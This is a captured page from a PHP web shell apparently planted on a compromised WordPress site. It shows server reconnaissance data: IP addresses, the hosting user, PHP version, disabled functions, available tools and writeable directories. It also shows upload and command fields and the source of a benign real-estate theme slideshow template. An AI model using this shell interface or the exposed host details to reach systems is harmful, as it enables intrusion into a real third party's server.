403Webshell
Server IP : 217.160.0.251  /  Your IP : 216.73.216.183
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u94981163 ( 8991765)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/15/d754908516/htdocs/wp-content/themes/est-project/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/15/d754908516/htdocs/wp-content/themes/est-project/templates/slideshow.php
<?php

/**
 * @var string $uid
 * @var WP_Post[] $posts
 * @var array $atts
 */

global $post;

$temp = $post;
$classes = $atts['slides_to_show'] > 1 && count($posts) > 1 ? ' es-slideshow-slide-margin' : ''; ?>

<div class="es-slideshow es-slideshow__<?php echo $atts['layout'] . $classes; ?>"
     id="es-slideshow__<?php echo $uid; ?>">
    <ul>
		<?php foreach ( $posts as $_post ) : $post = $_post;
			$property = es_get_property( $post->ID ); ?>
			<?php
            if ( !empty (ES_Address_Components::get_property_component( get_the_ID(), 'locality' )->long_name) || ! empty( ES_Address_Components::get_property_component( get_the_ID(), 'country' )->short_name ) ){
	            $address = array(
		            ES_Address_Components::get_property_component( get_the_ID(), 'locality' )->long_name,
		            ES_Address_Components::get_property_component( get_the_ID(), 'country' )->short_name
	            );
            }
			?>
			<?php if ( ! empty( $property->gallery ) ) : ?>
                <li>
                    <div class="es-property-inner">
                        <div class="es-property-thumbnail">
                            <a href="<?php the_permalink(); ?>">
                                <?php if ( ! empty( $property->gallery ) ) : ?>
                                    <?php es_the_post_thumbnail( 'property-archive-thm' ); ?>
                                <?php elseif ( $image = es_get_default_thumbnail( 'property-loop' ) ) : ?>
                                    <?php echo $image; ?>
                                <?php endif; ?>
                                <div class="es-thumbnail__container">
                                    <?php es_the_title( '<h2>', '</h2>' ); ?>
                                    <?php if ( ! empty( $address ) ): ?>
                                        <p> <i class="fa fa-map-marker" aria-hidden="true"></i> <?php echo implode( ', ', $address ); ?></p>
                                    <?php endif; ?>
                                    <?php es_the_formatted_price(); ?>
                                    <?php if ( $atts['layout'] == 'horizontal' ):?>
                                        <div class="es-thumbnail__hover-text">
                                            <?php the_excerpt() ?>
                                        </div>
                                    <?php endif;?>
                                </div>
                            </a>
                        </div>
                    </div>
                </li>
			<?php endif; ?>
		<?php endforeach;
		$post = $temp; ?>
    </ul>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit